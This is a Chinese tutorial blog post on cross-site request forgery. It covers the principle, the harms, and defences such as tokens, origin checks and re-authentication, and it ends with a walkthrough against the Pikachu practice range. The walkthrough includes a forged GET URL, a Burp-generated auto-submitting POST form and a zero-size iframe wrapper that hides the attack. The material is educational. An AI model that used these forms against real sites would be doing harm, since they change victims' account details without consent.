CSRF漏洞的原理、防御和比赛中的运用

CSRF

跨站请求伪造

原理

受害者登录到受信任的网站A(进行了身份验证并获取了会话 cookie),攻击者引导受害者访问恶意网站B(该网站是攻击者创建的一个恶意网站或在受害者访问的第三方网站上植入了恶意代码),然后恶意网站B发送请求到受信任的网站A(这是一个自动提交的请求,是去登录网站A的,可以是post,里面会有一些操作请求),因为用户已经登录了网站A,浏览器会自动附上相关的会话 cookie。网站A接收请求之后,认为是合法用户发出的,网站A在未验证请求来源的情况下执行了请求中的操作(请求中的操作不需要验证)。

如果某些操作请求是get传输,就不需要构造恶意网站B,直接让用户点网站A的操作请求链接就行

危害

以你的名义:

• 发邮件

• 发消息

• 修改个人信息

• 修改密码

• 财产操作比如转账,或者购买商品

防御

  1. Token验证

    是一个随机的验证码,是由服务器放在响应包里面发给用户的(用户登录消息发出去,服务器收到之后返回给浏览器的)抓包可以看到,每次会话都产生随机Token,浏览器要回复相同的Token才能继续会话

  2. 要有安全的会话管理

    登录超时限制;浏览器页面关闭时,自动退出登录

  3. 验证请求来源

    检查请求的 RefererOrigin 头,以确保请求来源于受信任的源站点。

  4. 两次身份认证

    在修改敏感信息(如密码)时,需要输入原密码或者验证码

比赛中的测试与攻击

条件

1)登录信任网站A,并在本地生成Cookie。

2)在不退出的情况下,访问危险网站B。

3)修改A的信息不需要验证码

打开 pichachu 靶场来到 csrf漏洞,输入用户登录后发现修改密码处没有任何验证,存在 csrf 攻击,通过 csrf 漏洞攻击修改资料。

get

攻击者: vince 123456

受害者:lili 123456

1)登录vince,点击修改信息,产生url

点提交的时候抓包,复制url

复制代码
http://192.168.xxx..xxx/06/vul/csrf/csrfget/csrf_get_edit.php?sex=11&phonenum=11&add=11&email=11&submit=submit

2)登录lili,让他点上面的网址,然后就自动修改信息

POST

攻击者: vince 123456

受害者:lili 123456

1)登录vince,点击修改信息,产生post数据包

2)生成自动登录的页面

将以下csrf.php文件放入公网服务器,让别人去访问

html 复制代码
<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="http://192.168.xxx.xxx/06/vul/csrf/csrfpost/csrf_post_edit.php" method="POST">
      <input type="hidden" name="sex" value="aa" />
      <input type="hidden" name="phonenum" value="aa" />
      <input type="hidden" name="add" value="aa" />
      <input type="hidden" name="email" value="aa" />
      <input type="hidden" name="submit" value="submit" />
      <input type="submit" name="submit" value="submit"/>
    </form>
    <script type="text/javascript">
    		//页面加载时自动提交form表单
    		window.onload = function(){
    			document.getElementById('myform').click();
    		}
    </script>
  </body>
</html>

如果需要做隐藏,还要配合下面的文件使用,让用户去访问下面这个文件

html 复制代码
<html>
  <body>
    <img src="某个图片或者视频的网址">
    <iframe src="./csrf.php" width="0" height="0"></iframe>
  </body>
</html>

比赛中与xss连用

如果一个网站存在csrf和存储型xss,攻击者在修改信息那里,输入js脚本,然后产生url或者post包,伪造一个服务器连接,让受害者访问

相关推荐
扑火的小飞蛾2 小时前
网络安全小白学习路线图 (基于提供文档库)
学习·安全·web安全
pusheng20254 小时前
算力时代的隐形防线:数据中心氢气安全挑战与技术突破
前端·安全
DX_水位流量监测4 小时前
大坝安全监测之渗流渗压位移监测设备技术解析
大数据·运维·服务器·网络·人工智能·安全
Jinuss5 小时前
HTML页面http-equiv=“refresh“自动刷新原理详解
http·html
九河云6 小时前
从“被动适配”到“主动重构”:企业数字化转型的底层逻辑
大数据·人工智能·安全·重构·数字化转型
Yan-英杰7 小时前
BoostKit OmniAdaptor 源码深度解析
网络·人工智能·网络协议·tcp/ip·http
黄焖鸡能干四碗8 小时前
信息安全网络安全评估报告(WORD)
大数据·网络·人工智能·安全·web安全·制造·需求分析
汽车仪器仪表相关领域9 小时前
光轴精准测量,安全照明保障——NHD-8101/8000型远近光检测仪项目实战分享
数据库·人工智能·安全·压力测试·可用性测试
pps-key10 小时前
Afrog漏洞扫描器:从入门到入狱......边缘的摇摆记录(pps-key黑化版)
linux·计算机网络·安全·网络安全
shdwak....sad11 小时前
DeepAudit AI多智能体代码审计项目学习与解读(四)
人工智能·安全